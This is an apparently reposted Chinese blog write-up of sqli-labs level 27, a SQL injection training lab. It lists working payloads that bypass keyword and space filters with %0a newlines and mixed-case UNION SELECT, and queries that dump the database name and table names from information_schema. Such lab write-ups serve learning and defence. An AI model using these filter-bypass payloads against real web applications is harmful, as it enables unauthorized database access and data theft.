sqli-labs(27)


0X01

先查詢閉合

?id=1' 報錯 
?id=1'' 正確

知道是’的閉合語句

0X02那么開始我們的注入之旅

空格過濾了 嘗試一下%0a繞過  #也被過濾了 那么用and '1'='1構造閉合

?id=1'||'1'='1

顯示正確 

我們來爆一下數據名稱  哦豁 union select 被過濾了

/?id=1'%0Aunion%0Aselect%0A1,database(),3||'1'='1

那我們繞過看看行嗎? double

?id=1'%0Auniunionon%0Aseselectlect%0A1,database(),3||'1'='1

不得行不得行 那我們怎么繞過呀? 可以偷偷看看源碼

 

 正則表達式

PHP語法

正則表達式

PHP正則表達式的模式修飾符(官方文檔)
PHP正則中的i,m,s,x,e

  • i
    如果設定了此修正符,模式中的字符將同時匹配大小寫字母。
  • m
    如果設定了此修正符,行起始和行結束除了匹配整個字符串開頭和結束外,還分別匹配其中的換行符的之后和之前。
  • s
    如果設定了此修正符,模式中的圓點元字符.匹配所有的字符,包括換行符。沒有此設定的話,則不包括換行符。
  • x
    如果設定了此修正符,模式中的空白字符除了被轉義的或在字符類中的以外完全被忽略,在未轉義的字符類之外的#以及下一個換行符之間的所有字符,包括兩頭,也都被忽略。
  • e
    如果設定了此修正符,preg_replace()在替換字符串中對逆向引用作正常的替換。
  • ?
    ./+/*之后表示非貪婪匹配,./+/*限定符都是貪婪的,它們會盡可能多的匹配文字,在它們的后面加上一個?就可以實現非貪婪或最小匹配。
那么我們繼續構造
爆數據庫 這里 正則過濾了-號所以不能用-1
?id=999'%0AUNion%0ASElEct%0A1,database(),3||'1'='1

0X02爆表名

?id=999'%0AUNion%0ASElEct%0A1,(SELEct%0Atable_name%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Alimit%0A0,1),3||'1'='1

這里剩下的操作就是一套組合拳了

那么 我們進行一下總結吧

1 這里空格%0a代替 不知道26a和26關為什么不行

2這里正則表達式是只要你含有 就會一直匹配 雙寫不能繞過

3當-1不能用的時候 隨便用一個錯誤的值把顯示的位置讓出來 給你要的數據

4 學習之路 少就是多 慢就是快

加油


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM